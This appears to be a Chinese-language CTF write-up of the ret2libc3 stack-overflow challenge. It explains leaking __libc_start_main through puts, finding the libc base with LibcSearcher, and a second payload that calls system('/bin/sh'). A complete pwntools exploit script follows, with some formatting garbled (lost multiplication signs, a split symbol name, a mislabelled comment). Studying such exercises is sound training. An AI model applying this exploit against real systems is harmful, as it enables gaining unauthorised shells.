首先我们看一下文件的属性 可以看见是32位动态链接的
    image.png
    checksec ret2libc3看看保护措施
    image.png
    放入ida中看一下
    可以看见堆栈的溢出偏移和之前的一样还是112字节之前已经用两种方法解释过了
    这里还是gets函数栈溢出
    image.png

    但是唯一不同的就是没有system函数和/bin/sh
    image.png
    image.png

    这个时候我们就要通过别的函数第二次运行的时候(第一次是延迟绑定)让函数去泄露got表内容 从而暴露libc 的基地址,拿到libc地址之后就好办了 动态链接库 里面的函数函数都是一定的,
    A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址!
    这里选用puts函数实现2次调用,让他当这个泄露者,让他泄露泄露 __libc_start_main 地址也就是基地址,然后去拿到system函数的地址
    这里就有问题了

    虽说偏移固定 但是具体如何拿到system的地址呢??

    • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
    • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
    • https://github.com/niklasb/libc-database

    这样的方法显然有点复杂有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme

    • https://github.com/lieanu/LibcSearcher
    • 此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址

      1. <br />--------来自ctf-wiki

    这里就开始写exp了
    这里的exp我看了很多昂,,看来看去还是wiki的最精华

    from pwn import *
    from LibcSearcher import LibcSearcher
    sh = process(‘./ret2libc3’)

    ret2libc3 = ELF(‘./ret2libc3’) #ELF模块:获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址
    puts_plt = ret2libc3.plt[‘puts’]#plt地址
    main= ret2libc3.symbols[‘main’] #main函数地址
    libc_start_main_got = ret2libc3.got[‘__libc_start_main’]#got地址

    print “泄露 libc_start_main_got 的地址并且再次返回到mian”
    payload = flat([‘A’ 112, puts_plt, main, libc_start_main_got ])
    sh.sendlineafter(‘Can you find it !?’, payload)
    print “获取真实的地址”
    libc_start_main_addr = u32(sh.recv()[0:4])
    libc = LibcSearcher(‘libc_start_main’, libc_start_main_addr)
    libcbase = libc_start_main_addr - libc.dump(‘
    libc_start_main’)#获取基地址
    system_addr = libcbase + libc.dump(‘system’)#获取main地址
    binsh_addr = libcbase + libc.dump(‘str_bin_sh’)#获取binsh地址
    print “get shell”
    payload = flat([‘A’
    104, system_addr, 0xdeadbeef, binsh_addr])
    sh.sendline(payload)
    sh.interactive()

    image.png